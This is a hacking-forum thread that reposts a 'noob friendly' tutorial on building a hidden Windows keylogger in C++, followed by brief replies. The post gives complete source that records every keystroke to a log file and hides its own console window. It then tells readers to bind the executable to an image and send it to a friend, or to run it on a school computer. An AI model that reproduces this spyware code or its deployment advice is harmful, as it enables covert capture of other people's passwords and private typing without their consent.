Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

.::TUT::. How to make a keylogger in c++ N00bfrindly .::TUT::.

How to create Keylogger using Visual C++
Requirements:
Dev C++. Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

Code
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Compile the Code(Ctrl+F9)
[Image: Virus+kEYLOGGERS+using+Visual+C%252B%252B+1.JPG]
[Image: Virus+kEYLOGGERS+using+Visual+C%252B%252B+2.JPG]

Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

[Image: Virus+kEYLOGGERS+using+Visual+C%252B%252B+3.JPG]
[Image: Virus+kEYLOGGERS+using+Visual+C%252B%252B+4.JPG]

bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.


Credits
For making this nice TUT the credits goes to BreakTheSecurity. Visit them here
I just though that i would share this nice tut with you guys.

If you want to see the original tut go here
No offense, but I honestly wish people would stop reposting this exact code, I've literally seen it at least 50 times here, and around 20 times on OpenSC, aka HF #2.

If people really want to help, they should come up with their own code.
I have also seen this code ~200 times on here. Seems like everyone like to name his "Stealth" function the same way.
Yes, I've also seen this code ~200 times on here. Seems like everyone like to claim it as their own code.
quick question.. u mentioned binding it with an image. but is that really something you can do ? i know with RAT servers image binding wasnt something to really do. let me kno
If it's so noob friendly then where are the comments and where are the explanations to part of the code, which you didn't write I may add :/
Same old code is rotating again and again. This is a very inefficient way of logging keys.
cool contribution bro
was looking for this thanks
lol this is one big fat resource hoggers. Use sleep in the loop O_o


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Hard StyleFeb 20, 2013 01:26 AM 10 544 Feb 20, 2013 01:26 AM
Last Post: TrackPro+
[.NET] by PsychotiicAug 2, 2012 01:22 PM 22 869 Aug 2, 2012 01:22 PM
Last Post: ident
[.NET] by DeToXNov 24, 2010 03:54 PM 3 160 Nov 24, 2010 03:54 PM
Last Post: DeToX